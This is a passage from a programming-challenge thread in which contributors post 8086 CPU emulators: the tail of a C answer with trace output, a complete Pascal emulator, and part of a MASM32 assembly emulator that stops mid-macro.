ptr\nif(trace)P(w?\"->%04x \":\"->%02x \",z);\nput_(p,z,w);\n;\n```\nAnd the fully-preprocessed function, passed through `indent`:\n```\nvoid\naddbf ()\n{\n if (trace)\n {\n printf (\"%s:\\n\", __func__);\n }\n d = ! !(o & 2);\n w = o & 1;\n rm r = mrm (fetchb ());\n x = decreg (r.reg, w);\n y = decrm (r, w);\n if (trace > 1)\n {\n printf (\"x:%d\\n\", x);\n printf (\"y:%d\\n\", y);\n }\n p = d ? (void *) x : (void *) y;\n x = get_ ((void *) x, w);\n y = get_ ((void *) y, w);\n if (trace)\n {\n printf (\"x:%d\\n\", x);\n printf (\"y:%d\\n\", y);\n }\n z = x + y;\n *fl = 0;\n *fl |=\n ((z & (w ? 0x8000 : 0x80)) ? SF : 0) | ((z & (w ? 0xffff : 0xff)) ==\n 0 ? ZF : 0);\n *fl |=\n ((z & (w ? 0xffff0000 : 0xff00)) ? CF : 0) |\n (((z ^ x) & (z ^ y) & (w ? 0x8000 : 0x80)) ? OF : 0) |\n (((x ^ y ^ z) & 0x10) ? AF : 0);\n if (trace)\n printf (w ? \"->%04x \" : \"->%02x \", z);\n put_ (p, z, w);;\n}\n```\nNot the greatest C style for everyday use, but using macros this way seems pretty perfect for making the implementation here very short and very direct.\nTest program output, with tail of the trace output:\n```\n43(103) incbx:\n->0065 \nax:0020 cx:0015 dx:0190 bx:0065 sp:1000 bp:0000 si:0000 di:00c2 ip:013e fl:0000 NC NO NS NZ \n83(203) immis:\nfb(373) 64(144) x:100\ny:101\nCMP ->0001 \nax:0020 cx:0015 dx:0190 bx:0065 sp:1000 bp:0000 si:0000 di:00c2 ip:0141 fl:0000 NC NO NS NZ \n76(166) jbe:\nda(332) <0> \nax:0020 cx:0015 dx:0190 bx:0065 sp:1000 bp:0000 si:0000 di:00c2 ip:0143 fl:0000 NC NO NS NZ \nf4(364) hlt:\n......... \nHello, world! \n0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ \n################################################################################\n## ##\n## 0 1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 ##\n## ##\n## 0 1 4 9 16 25 36 49 64 81 100 121 144 169 196 225 256 289 324 361 400 ##\n## ##\n## 2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97 ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n################################################################################\n```\nI shared some earlier versions in [comp.lang.c](https://groups.google.com/d/topic/comp.lang.c/W5chgTRhV0o/discussion) but they weren't very interested.\n[Answer]\n## Pascal - 667 lines including whitelines, comments and debug routines.\nA late submission... But since there was no entry in pascal yet... \nIt is not finished yet but it works. Could be a lot shorter by eliminating white lines, comments and debug routines. \nBut on the other hand... code should be readable (and that's the reason I am a Pascal user)\n[![terminal view](https://i.stack.imgur.com/T7Dny.png)](https://i.stack.imgur.com/T7Dny.png)\n```\n(******************************************************************************\n* emulator for 8086/8088 subset as requested in *\n* https://codegolf.stackexchange.com/questions/4732/emulate-an-intel-8086-cpu *\n* (c)2019 by ir. Marc Dendooven *\n* V0.2 DEV *\n******************************************************************************) \nprogram ed8086;\nuses sysutils;\nconst showSub = 0; // change level to show debug info\ntype nibble = 0..15;\n oct = 0..7;\n quad = 0..3;\n address = 0..$FFFF; // should be extended when using segmentation\nconst memSize = $9000; \n AX=0; CX=1; DX=2; BX=3; SP=4; BP=5; SI=6; DI=7;\ntype location = record\n memory: boolean; // memory or register\n aORi: address; // address or index to register\n content: word\n end;\nvar mem: array[0..memSize-1] of byte;\n IP,segEnd: word;\n IR: byte;\n mode: quad;\n sreg: oct;\n rm: oct;\n RX: array[AX..DI] of word; //AX,CX,DX,BX,SP,BP,SI,DI\n FC,FZ,FS: 0..1;\n cnt: cardinal = 0;\n d: 0..1;\n oper1,oper2: location;\n w: boolean; // is true when word / memory\n calldept: cardinal = 0;\n T: Dword;\n// ---------------- general help methods ----------------\nprocedure display;\nvar x,y: smallint;\n c: byte;\nbegin\n writeln;\n for y := 0 to 24 do\n begin\n for x := 0 to 79 do\n begin\n c := mem[$8000+y*80+x];\n if c=0 then write(' ') else write(char(c));\n end;\n writeln\n end\nend; \nprocedure error(s: string);\nbegin\n writeln;writeln;\n writeln('ERROR: ',s);\n writeln('program aborted');\n writeln;\n writeln('IP=',hexstr(IP,4),' IR=',hexstr(IR,2));\n display;\n halt\nend;\nprocedure debug(s: string);\nbegin\n if CallDept < showSub then writeln(s)\nend;\nprocedure load;\n// load the codegolf binary at address 0\nvar f,count: LongInt;\nbegin\n if not fileExists('codegolf') then error('file \"codegolf\" doesn''t exist in this directory');\n f := fileOpen('codegolf',fmOpenRead);\n count := fileRead(f,mem,memSize);\n fileClose(f);\n if count = -1 then error('Could not read file \"codegolf\"');\n writeln(count, ' bytes read to memory starting at 0');\n segEnd := count;\n writeln\nend;\nprocedure mon;\nbegin\n if not (CallDept < showSub) then exit;\n writeln;\n writeln('------------- mon -------------');\n writeln('IP=',hexstr(IP,4));\n writeln('AX=',hexstr(RX[AX],4),' CX=',hexstr(RX[CX],4),' DX=',hexstr(RX[DX],4),' BX=',hexstr(RX[BX],4));\n writeln('SP=',hexstr(RX[SP],4),' BP=',hexstr(RX[BP],4),' SI=',hexstr(RX[SI],4),' DI=',hexstr(RX[DI],4));\n writeln('C=',FC,' Z=',FZ,' S=',FS);\n writeln('-------------------------------');\n writeln\nend;\n// --------------- memory and register access ----------------\n// memory should NEVER be accessed direct\n// in order to intercept memory mapped IO\nfunction peek(a:address):byte;\nbegin\n peek := mem[a]\nend;\nprocedure poke(a:address;b:byte);\nbegin\n mem[a]:=b;\n if not (CallDept < showSub) then exit;\n case a of $8000..$87CF: \n begin \n writeln;\n writeln('*** a character has been written to the screen ! ***');\n writeln('''',chr(b),''' to screenpos ',a-$8000)\n end\n end\nend;\nfunction peek2(a:address):word;\nbegin\n peek2 := peek(a)+peek(a+1)*256 \nend;\nprocedure poke2(a:address; b:word);\nbegin\n poke(a,lo(b));\n poke(a+1,hi(b))\nend;\nfunction peekX(a: address): word;\nbegin\n if w then peekX := peek2(a) else peekX := peek(a)\nend;\nfunction fetch: byte;\nbegin\n fetch := peek(IP); inc(IP);\n debug('----fetching '+hexStr(fetch,2))\nend;\nfunction fetch2: word;\nbegin\n fetch2 := peek2(IP); inc(IP,2);\n debug('----fetching '+hexStr(fetch2,4))\nend;\nfunction getReg(r: oct): byte;\nbegin\n if r<4 then getReg := lo(RX[r])\n else getreg := hi(RX[r-4])\nend;\nfunction getReg2(r: oct): word;\nbegin\n getreg2 := RX[r]\nend;\nfunction getRegX(r: oct): word;\nbegin\n if w then getregX := getReg2(r) else getRegX := getReg(r)\nend;\nprocedure test_ZS;\nbegin\n if w then FZ:=ord(oper1.content=0)\n else FZ:=ord(lo(oper1.content)=0);\n if w then FS:=ord(oper1.content>=$8000)\n else FS:=ord(oper1.content>=$80)\nend;\nprocedure test_CZS;\nbegin\n test_ZS;\n if w then FC := ord(T>$FFFF)\n else FC := ord(T>$FF);\nend;\n// -------------- memory mode methods ------------------\nprocedure modRM;\n// reads MRM byte\n// sets mode (=the way rm is exploited)\n// sets sreg: select general register (in G memory mode) or segment register\n// sets rm: select general register or memory (in E memory mode)\nvar MrM: byte;\nbegin\n debug('---executing modRm');\n MrM := fetch;\n mode := MrM >> 6;\n sreg := (MrM and %00111000) >> 3;\n rm := MrM and %00000111;\n debug('------modRm '+hexstr(MrM,2)+' '+binstr(MrM,8)+' '+\n 'mode='+hexStr(mode,1)+' sreg='+hexStr(sreg,1)+' rm='+hexStr(rm,1))\nend;\nfunction mm_G: location;\n// The reg field of the ModR/M byte selects a general register.\nvar oper: location;\nbegin\n debug('---executing mm_G');\n debug ('*** warning *** check for byte/word operations'); \n oper.memory := false;\n oper.aORi := sreg;\n oper.content := getRegX(sreg);\n debug('------register '+hexStr(sreg,1)+' read');\n mm_G := oper\nend;\nfunction mm_E: location;\n// A ModR/M byte follows the opcode and specifies the operand. The operand is either a general­\n// purpose register or a memory address. If it is a memory address, the address is computed from a\n// segment register and any of the following values: a base register, an index register, a displacement.\nvar oper: location;\nbegin\n debug('---executing mm_E');\n case mode of\n 0: begin\n oper.memory := true;\n case rm of\n 1: begin\n oper.aORi:= RX[BX]+RX[DI];\n oper.content := peekX(oper.aORi);\n end;\n 6: begin //direct addressing\n oper.aORi := fetch2;\n oper.content := peekX(oper.aORi);\n debug('----------direct addressing');\n debug('----------address='+hexstr(oper.aORi,4));\n debug('----------value='+hexStr(oper.content,4))\n end;\n 7: begin\n oper.aORi := RX[BX];\n oper.content := peekX(oper.aORi)\n end;\n else\n error('mode=0, rm value not yet implemented')\n end\n end;\n// 1: + 8 bit signed displacement \n 2: begin\n oper.memory := true;\n case rm of\n 5: begin\n oper.aORi := RX[DI]+fetch2; //16 unsigned displacement\n oper.content := peekX(oper.aORi)\n end;\n 7: begin\n oper.aORi := RX[BX]+fetch2; //16 unsigned displacement\n oper.content := peekX(oper.aORi)\n end\n else\n error('mode=2, rm value not yet implemented')\n end\n end;\n 3: begin\n oper.memory := false;\n oper.aORi := rm;\n oper.content := getRegX(rm);\n debug('------register '+hexStr(rm,1)+' read');\n end;\n else\n error('mode '+intToStr(mode)+' of Ew not yet implemented')\n end;\n mm_E := oper\nend;\nfunction mm_I: location;\nbegin\n debug('---executing mm_I');\n if w\n then if d=0 then mm_I.content := fetch2\n else mm_I.content := int8(fetch)\n else mm_I.content := fetch;\n debug('------imm val read is '+hexStr(mm_I.content,4))\nend;\nprocedure mm_EI;\n// E should be called before I since immediate data comes last\nbegin\n modRM;\n oper1 := mm_E;\n oper2 := mm_I;\nend;\nprocedure mm_EG;\nbegin\n modRM;\n if d=0 then begin oper1 := mm_E; oper2 := mm_G end\n else begin oper1 := mm_G; oper2 := mm_E end;\nend;\nprocedure mm_AI;\nbegin\n oper1.memory := false;\n oper1.aORi := 0;\n oper1.content := getRegX(0);\n debug('----------address='+hexstr(oper1.aORi,4));\n debug('----------value='+hexStr(oper1.content,4));\n oper2 := mm_I\nend;\nprocedure writeback;\nbegin\n with oper1 do\n begin\n debug('--executing writeBack');\n debug(hexStr(ord(memory),1));\n debug(hexStr(aORi,4));\n debug(hexStr(content,4)); \n if w \n then\n if memory then poke2(aORi,content)\n else RX[aORi]:=content\n else\n if memory then poke(aORi,content)\n else \n if aORi<4 then RX[aORi] := hi(RX[aORi])*256+content\n else RX[aORi-4] := content*256+lo(RX[aORi-4])\n end \nend;\n// -------------------------- instructions -------------------\nprocedure i_Jcond;\n// fetch next byte\n// if condition ok then add to IP as two's complement\nvar b: byte;\n cc: 0..$F;\nbegin\n debug('--executing Jcond');\n b := fetch;\n cc := IR and %1111;\n case cc of\n 2:if FC=1 then IP := IP + int8(b); //JB, JC\n 4:if FZ=1 then IP := IP + int8(b); //JZ\n 5:if FZ=0 then IP := IP + int8(b); //JNZ\n 6:if (FC=1) or (FZ=1) then IP := IP + int8(b); //JBE\n 7:if (FC=0) and (FZ=0) then IP := IP + int8(b); // JA, JNBE\n 9:if FS=0 then IP := IP + int8(b); //JNS\n else error('JCond not implemented for condition '+hexstr(cc,1))\n end \nend;\nprocedure i_HLT;\nbegin\n debug('--executing HLT');\n writeln;writeln('*** program terminated by HLT instruction ***');\n writeln('--- In the ''codegolf'' program this probably means');\n writeln('--- there is some logical error in the emulator');\n writeln('--- or the program reached the end without error');\n writeln('bye');\n display;\n halt\nend;\nprocedure i_MOV;\nbegin\n debug('--executing MOV EG');\n debug('------'+hexStr(oper1.aORi,4)+' '+hexStr(oper1.content,4));\n debug('------'+hexStr(oper2.aORi,4)+' '+hexStr(oper2.content,4));\n oper1.content := oper2.content; \n debug('------'+hexStr(oper1.aORi,4)+' '+hexStr(oper1.content,4));\n writeBack\nend;\nprocedure i_XCHG;\nvar T: word; \nbegin\n debug('--executing XCHG EG');\n T := oper1.content;\n oper1.content := oper2.content;\n oper2.content := T;\n writeback;\n oper1 := oper2;\n writeback\nend;\nprocedure i_XCHG_RX_AX;\nvar T: word;\nbegin\n debug('--executing XCHG RX AX');\n T := RX[AX];\n RX[AX] := RX[IR and %111];\n RX[IR and %111] := T\nend;\nprocedure i_MOV_RX_Iw;\nbegin \n debug('--executing MOV Rw ,Iw');\n RX[IR and %111] := fetch2 \nend;\nprocedure i_MOV_R8_Ib;\nvar r: oct;\n b: byte;\nbegin\n debug('--executing MOV Rb ,Ib');\n b := fetch;\n r := IR and %111;\n if r<4 then RX[r] := hi(RX[r])*256+b\n else RX[r-4] := b*256+lo(RX[r-4]) \nend;\nprocedure i_PUSH_RX;\nbegin\n debug('--executing PUSH RX');\n dec(RX[SP],2); //SP:=SP-2\n poke2(RX[SP],RX[IR and %111]) //poke(SP,RX) \nend;\nprocedure i_POP_RX;\nbegin\n debug('--executing POP RX');\n RX[IR and %111] := peek2(RX[SP]); //RX := peek(SP)\n inc(RX[SP],2); //SP:=SP+2\nend;\nprocedure i_JMP_Jb;\nvar b: byte;\nbegin\n debug('--executing JMP Jb'); \n b := fetch;\n IP:=IP+int8(b)\nend;\nprocedure i_CALL_Jv;\nvar w: word;\nbegin\n debug('--executing CALL Jv'); \n w := fetch2;\n dec(RX[SP],2); //SP:=SP-2 \n poke2(RX[SP],IP);\n IP:=IP+int16(w);\n inc(calldept)\nend;\nprocedure i_RET;\nbegin\n debug('--executing RET');\n IP := peek2(RX[SP]);\n inc(RX[SP],2); //SP:=SP+2\n dec(calldept)\nend;\nprocedure i_XOR;\nbegin\n debug('--executing XOR');\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); \n oper1.content:=oper1.content xor oper2.content;\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4));\n test_ZS;\n FC:=0;\n writeback\nend;\nprocedure i_OR;\nbegin\n debug('--executing OR');\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); \n oper1.content:=oper1.content or oper2.content;\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4));\n test_ZS;\n FC:=0;\n writeback\nend;\nprocedure i_AND;\nbegin\n debug('--executing AND');\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); \n oper1.content:=oper1.content and oper2.content;\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4));\n test_ZS;\n FC:=0;\n writeback\nend;\nprocedure i_ADD;\nbegin\n debug('--executing ADD');\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4));\n T := oper1.content + oper2.content;\n oper1.content := T;\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4));\n test_CZS;\n writeback\nend;\nprocedure i_ADC;\nbegin\n debug('--executing ADC');\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4));\n T := oper1.content + oper2.content + FC;\n oper1.content := T;\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4));\n test_CZS;\n writeback\nend;\nprocedure i_SUB;\nbegin\n debug('--executing SUB');\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4));\n T := oper1.content - oper2.content;\n oper1.content := T;\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4));\n test_CZS;\n writeback\nend;\nprocedure i_SBB;\nbegin\n debug('--executing SBB');\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4));\n T := oper1.content - oper2.content - FC;\n oper1.content := T;\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4));\n test_CZS;\n writeback\nend;\nprocedure i_CMP;\nbegin\n debug('--executing CMP');\n T:=oper1.content-oper2.content;\n oper1.content:=T;\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4));\n test_CZS;\nend;\nprocedure i_INC;\nbegin\n debug('--executing INC');\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4));\n inc(oper1.content);\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4));\n test_ZS;\n // FC unchanged\n writeback\nend;\nprocedure i_DEC;\nbegin\n debug('--executing DEC');\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4));\n dec(oper1.content);\n debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4));\n test_ZS;\n // FC unchanged\n writeback\nend;\nprocedure i_INC_RX;\nvar r: oct;\nbegin\n debug('--executing INC RX');\n r := IR and %111;\n inc(RX[r]);\n FZ:=ord(RX[r]=0);\n FS:=ord(RX[r]>=$8000)\n // FC unchanged\nend;\nprocedure i_DEC_RX;\nvar r: oct;\nbegin\n debug('--executing DEC RX');\n r := IR and %111;\n dec(RX[r]);\n FZ:=ord(RX[r]=0);\n FS:=ord(RX[r]>=$8000)\n // FC unchanged\nend;\n// ------------------ special instructions --------------\nprocedure GRP1;\n// GRP1 instructions use modRM byte\n// sreg selects instruction\n// one operand selected by rm in mm_E\n// other operand is Immediate:\nbegin\n debug('-executing GRP1');\n case sreg of\n 0:i_ADD;\n 1:i_OR;\n 2:i_ADC;\n 4:i_AND;\n 5:i_SUB;\n 7:i_CMP;\n else\n error('subInstruction GRP1 number '+intToStr(sreg)+' is not yet implemented')\n end\nend;\nprocedure GRP4;\nbegin\n debug('-executing GRP4 Eb');\n modRM;\n oper1 := mm_E;\n case sreg of\n 0:i_INC;\n 1:i_DEC;\n else\n error('subInstruction GRP4 number '+intToStr(sreg)+' is not yet implemented')\n end\nend;\nbegin //main\n writeln('+-----------------------------------------------+');\n writeln('| emulator for 8086/8088 subset as requested in |');\n writeln('| codegolf challenge |');\n writeln('| (c)2019 by ir. Marc Dendooven |');\n writeln('| V0.2 DEV |');\n writeln('+-----------------------------------------------+'); \n writeln;\n load;\n IP := 0;\n RX[SP] := $100;\n while IP < segEnd do begin //fetch execute loop\n mon;\n IR := fetch; // IR := peek(IP); inc(IP)\n inc(cnt);\n debug(intToStr(cnt)+'> fetching instruction '+hexstr(IR,2)+' at '+hexstr(IP-1,4));\n w := boolean(IR and %1);\n d := (IR and %10) >> 1;\n case IR of\n $00..$03: begin mm_EG; i_ADD end; \n $04,$05: begin mm_AI; i_ADD end;\n $08..$0B: begin mm_EG; i_OR end;\n $18..$1B: begin mm_EG; i_SBB end;\n $20..$23: begin mm_EG; i_AND end;\n $28..$2B: begin mm_EG; i_SUB end;\n $30..$33: begin mm_EG; i_XOR end;\n $38..$3B: begin mm_EG; i_CMP end;\n $3C,$3D: begin mm_AI; i_CMP end; //error('$3C - CMP AL Ib - nyi');\n $40..$47: i_INC_RX;\n $48..$4F: i_DEC_RX;\n $50..$57: i_PUSH_RX; \n $58..$5F: i_POP_RX;\n $72,$74,$75,$76,$77,$79: i_Jcond; // $70..7F has same format with other flags\n $80..$83: begin mm_EI; GRP1 end;\n $86..$87: begin mm_EG; i_XCHG end; \n $88..$8B: begin mm_EG; i_MOV end; \n $90: debug('--NOP');\n $91..$97: i_XCHG_RX_AX; \n $B0..$B7: i_MOV_R8_Ib;\n $B8..$BF: i_MOV_RX_Iw;\n $C3: i_RET;\n $C6,$C7: begin d := 0; mm_EI; i_MOV end; //d is not used as s here... set to 0\n $E8: i_CALL_Jv; \n $EB: i_JMP_Jb;\n $F4: i_HLT;\n $F9: begin debug('--executing STC');FC := 1 end;\n $FE: GRP4;\n else\n error('instruction is not yet implemented')\n end\n end;\n writeln;\n error('debug - trying to execute outside codesegment')\nend.\n```\n[Answer]\n# MASM32, 1063+104+35=1202 lines\nActually done as a project for my assembly course at my college...\nWe modified the video memory layout slightly so it reflects that of a real 8086 machine from the good old days, i.e. video memory starting at 0xb8000, and contains an extra byte per character for foreground / background color.\nDon't know if it's short enough to meet the needs of an answer, since I'm new to codegolf... But anyway, I find it somewhat gripping to code an emulator of 8086 with, ..., x86 assembly itself! Take a look at the results below.\n![test](https://github.com/panda2134/8086/raw/master/docs/test.png)\n![color](https://github.com/panda2134/8086/raw/master/docs/color.png)\nHere goes the code. The code is also available at [GitHub](https://github.com/panda2134/8086).\n**binloader.asm**\n```\n; we assume that the memory is of 1MB size, and code should be loaded at 7c0:0\n; that is different from real 8086s which boot up from ffff:0\n; however 7c0:0 is more convenient for our test binary\n; time permitted, we might switch to ffff:0 and code a small bios\nLoadBinaryIntoEmulator PROC USES ebx esi, mem:ptr byte, lpFileName:ptr byte\nLOCAL hFile:dword, numBytesRead:dword, fileSize:dword, mbrAddr:ptr dword\n MBR_SIZE equ 512\n mov numBytesRead, 0\n INVOKE CreateFileA, lpFileName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0\n cmp eax, INVALID_HANDLE_VALUE\n je loadbin_error_ret\n mov hFile, eax\n INVOKE GetFileSize, hFile, 0\n cmp eax, 512\n jb loadbin_file_small\n mov eax, 512\nloadbin_file_small:\n mov fileSize, eax\n mov ecx, mem\n add ecx, 7c00h\n mov mbrAddr, ecx\n INVOKE ReadFile, hFile, ecx, fileSize, ADDR numBytesRead, 0 ; read file to 7c00h\n test eax, eax\n jz loadbin_error_ret\n mov ecx, mbrAddr\n cmp dword ptr [ecx + 510], 0aa55h ; check for mbr flag\n jne loadbin_error_ret ; error if no flag detected\n mov eax, 0 ; success\n ret\nloadbin_error_ret:\n mov eax, 1\n ret\nLoadBinaryIntoEmulator ENDP\n```\n**term.asm**\n```\nIFNDEF TERM_INC\nTERM_INC equ <1>\nInitEmuScreen PROC ; call this only once to initialize the emulator screen\nLOCAL hCon:dword, hWin:dword, termSize:COORD, rect:SMALL_RECT, cursorInfo:CONSOLE_CURSOR_INFO\n INVOKE GetStdHandle, STD_OUTPUT_HANDLE\n mov hCon, eax\n mov rect.Left, 0\n mov rect.Top, 0\n mov rect.Right, 80-1\n mov rect.Bottom, 28\n INVOKE SetConsoleWindowInfo, hCon, 1, ADDR rect ; set the size of display area\n mov termSize.x, 80\n mov termSize.y, 29 ; 25 lines for output, 2 lines for status, 1 line empty\n INVOKE SetConsoleScreenBufferSize, hCon, dword ptr termSize ; set the size of buffer (1 extra line)\n INVOKE GetConsoleWindow\n mov hWin, eax\n INVOKE GetWindowLong, hWin, GWL_STYLE\n mov ecx, WS_MAXIMIZEBOX\n not ecx\n and eax, ecx\n mov ecx, WS_MINIMIZEBOX\n not ecx\n and eax, ecx\n mov ecx, WS_SIZEBOX\n not ecx\n and eax, ecx ; eax := eax & ~WS_MAXIMIZEBOX & ~WS_SIZEBOX & ~WS_MINIMIZEBOX\n INVOKE SetWindowLong, hWin, GWL_STYLE, eax\n mov [cursorInfo.dwSize], 1\n mov [cursorInfo.bVisible], 0\n INVOKE SetConsoleCursorInfo, hCon, ADDR cursorInfo\n ret\nInitEmuScreen ENDP\nWriteEmuScreen PROC USES ebx esi, mem:ptr byte ; update the emulator screen with memory starting from b800:0\nLOCAL hCon:dword, termCoord:COORD, textAttr:dword\n count equ 80*25\n mov esi, mem\n INVOKE GetStdHandle, STD_OUTPUT_HANDLE\n mov hCon, eax\n mov ecx, 0\n_loop:\n cmp ecx, count\n jge _loop_end\n mov edx, ecx\n shr edx, 16 \n movzx eax, cx ; prepare ecx in dx:ax\n mov bx, 80 ; divide by 80 to get num of lines\n div bx\n mov [termCoord.y], ax\n mov [termCoord.x], dx\n push ecx\n INVOKE SetConsoleCursorPosition, hCon, dword ptr termCoord ; move cursor to termCoord\n movzx ecx, byte ptr [esi+1]\n mov textAttr, ecx\n INVOKE SetConsoleTextAttribute, hCon, textAttr ; set color attrs, etc.\n INVOKE WriteConsoleA, hCon, esi, 1, 0, 0 ; put one char\n pop ecx\n add esi, 2\n inc ecx\n jmp _loop\n_loop_end:\n INVOKE SetConsoleCursorPosition, hCon, 0\n INVOKE SetConsoleTextAttribute, hCon, 0 ; not visible\n mov eax, 0\n ret\nWriteEmuScreen ENDP\nloadStatusColor MACRO colorType\n IFIDN , \n mov eax, BACKGROUND_GREEN\n or eax, BACKGROUND_INTENSITY\n EXITM\n ENDIF\n IFIDN , \n mov eax, BACKGROUND_GREEN\n or eax, BACKGROUND_RED \n or eax, BACKGROUND_INTENSITY\n EXITM\n ENDIF\n echo Error: Unknown status\nENDM\nWriteStatusLine PROC statusLine1:ptr byte, statusLine2:ptr byte, textAttr:dword ; suppose that both lines are 80 chars\nLOCAL hCon:dword, termCoord:COORD\n INVOKE GetStdHandle, STD_OUTPUT_HANDLE\n mov hCon, eax\n INVOKE SetConsoleTextAttribute, hCon, textAttr\n mov [termCoord.x], 0\n mov [termCoord.y], 26 ; second last line\n \n INVOKE SetConsoleCursorPosition, hCon, dword ptr termCoord\n INVOKE WriteConsoleA, hCon, statusLine1, 80, 0, 0\n add [termCoord.y], 1\n INVOKE SetConsoleCursorPosition, hCon, dword ptr termCoord\n INVOKE WriteConsoleA, hCon, statusLine2, 80, 0, 0\n INVOKE SetConsoleCursorPosition, hCon, 0\n INVOKE SetConsoleTextAttribute, hCon, 0 ; not visible\n ret\nWriteStatusLine ENDP\nENDIF\n```\n**emulator.asm**\n```\n.686\n.model flat, stdcall\noption casemap:none\ninclude windows.inc\ninclude kernel32.inc\ninclude user32.inc\ninclude msvcrt.inc\nincludelib user32.lib\nincludelib kernel32.lib\nincludelib msvcrt.lib\nprintf PROTO C :ptr byte, :VARARG\n.data\nfloppyPath byte \"./floppy.img\", 0\nhaltMsgTitle byte \"Halted\", 0\nhaltMsg byte \"HLT is executed; since interrupt is not supported, the emulator will now exit.\", 0\nUDMsgTitle byte \"Undefined Instruction\", 0\nUDMsg byte \"Encountered an undefined instruction. (#UD)\", 0\ndebugMsg byte \"%d %d %d %d\", 0AH, 0DH, 0\ninvalidOpMsg byte \"Invalid Operation!\", 0Dh, 0Ah, 0\nstatusRunning byte \"Running\", 0\nstatusPaused byte \"Paused\", ' ', 0\nstatusLineFmt1 byte \"%s \", 9 dup(' '), \"AX=%04X CX=%04X DX=%04X BX=%04X SP=%04X BP=%04X SI=%04X DI=%04X\", 0\nstatusLineFmt2 byte \"any key = step, c = continue\", 4 dup(' '), \"IP=%04X FLAGS=%02X ES=%04X CS=%04X SS=%04X DS=%04X\", 0\nlineBuf1 byte 128 dup(?)\nlineBuf2 byte 128 dup(?)\nrunning byte 0\nREGB label byte\nREGW label word\nR_AL label byte\nR_AX word 0\nR_CX word 0\nR_DX word 0\nR_BX word 0\nR_SP word 0\nR_BP word 0\nR_SI word 0\nR_DI word 0\nREGS label word \nR_ES word 0\nR_CS word 0 ; mbr\nR_SS word 0\nR_DS word 0\nR_FLAGS byte 0\nR_IP word 7c00H\nMEMO_Guard byte 00FFH\nstatusTextAttr dword 0\nscreenRefreshCounter word 0\n.data?\nMEMO byte 1048576 DUP(?)\n.code\n; mod[2] xxx r/m[3] passed by ah, start of instruction(host) passed by ebx\n; when r/m is reg, need to pass word/byte in lowest bit of al\n; not modify al, ah and ebx\n; effective address(host) returned by edx,\n; end of displacement field(host) returned by esi\ncomputeEffectiveAddress MACRO LeaveLabel, DisableFallThroughLeave, SegmentType\n ; MACRO local label\n LOCAL NoDisplacement, MOD123, MOD23, RM_Decode, RM_Is1XX, RM_Is11X, AddDisplacment, MOD3, RM_IsWordReg\n ; ah already = mod[2] reg[3] r/m[3] or mod[2] op[3] r/m[3]\n mov cl, ah\n shr cl, 6; mod\n jnz MOD123\n ; mod = 00\n mov cl, ah ; mod[2] reg[3] r/m[3]\n and cl, 0111b ; r/m[3]\n cmp cl, 0110b ; check special case\n jne NoDisplacement\n ; r/m = 110 special case, 16bit displacement only\n movzx edi, word ptr [ebx + 2]\n lea esi, [ebx + 4] ; end of displacement field(host)\n xor edx, edx ; clear edx for displacement only\n jmp AddDisplacment\n NoDisplacement:\n xor edi, edi ; common case, no displacement\n lea esi, [ebx + 2] ; end of displacement field(host)\n jmp RM_Decode\n MOD123:\n cmp cl, 1\n jne MOD23\n ; mod = 01\n movzx edi, byte ptr [ebx + 2] ; 8bit displacement\n lea esi, [ebx + 3] ; end of displacement field(host)\n jmp RM_Decode\n MOD23:\n cmp cl, 2\n jne MOD3\n ; mod = 10\n movzx edi, word ptr [ebx + 2] ; 16bit displacement\n lea esi, [ebx + 4] ; end of displacement field(host)\n ; fall-through\n RM_Decode:\n ; displacement in edi\n movzx ecx, ah ; mod[2] reg[3] r/m[3]\n test ecx, 0100b\n jnz RM_Is1XX\n ; r/m = 0,b,i\n and ecx, 0010b ; Base = b ? BP : BX, R_BP = R_BX + 4\n movzx edx, word ptr R_BX[ecx * 2] ; actually word ptr is not needed\n movzx ecx, ah ; mod[2] reg[3] r/m[3]\n and ecx, 0001b ; Index = i ? DI : SI, R_DI = R_SI + 4\n movzx ecx, word ptr R_SI[ecx * 2]\n add edx, ecx\n jmp AddDisplacment\n RM_Is1XX:\n test ecx, 0010b\n jnz RM_Is11X\n ; r/m = 1,0,i\n and ecx, 0001b ; Index = i ? DI : SI, R_DI = R_SI + 4\n movzx edx, word ptr R_SI[ecx * 2]\n jmp AddDisplacment\n RM_Is11X:\n ; r/m = 1,1,~b\n and ecx, 0001b ; Base = b ? BP : BX, R_BP = R_BX + 4\n xor ecx, 1\n movzx edx, word ptr R_BX[ecx * 4]\n ; fall-through\n AddDisplacment:\n add edx, edi ; effective address(virtual) now in edx\n ; now edi free\n movzx ecx, SegmentType\n shl ecx, 4\n lea edx, MEMO[edx + ecx] ; effective address(host)\n jmp LeaveLabel\n MOD3:\n ; r/m = register\n lea esi, [ebx + 2] ; end of displacement(host) (No Displacement)\n movzx ecx, ah ; mod[2] reg[3] r/m[3], moved before jump to reuse code\n test al, 0001b ; first byte still in al, decide 16bit or 8bit register\n jnz RM_IsWordReg\n ; 8bit register\n and 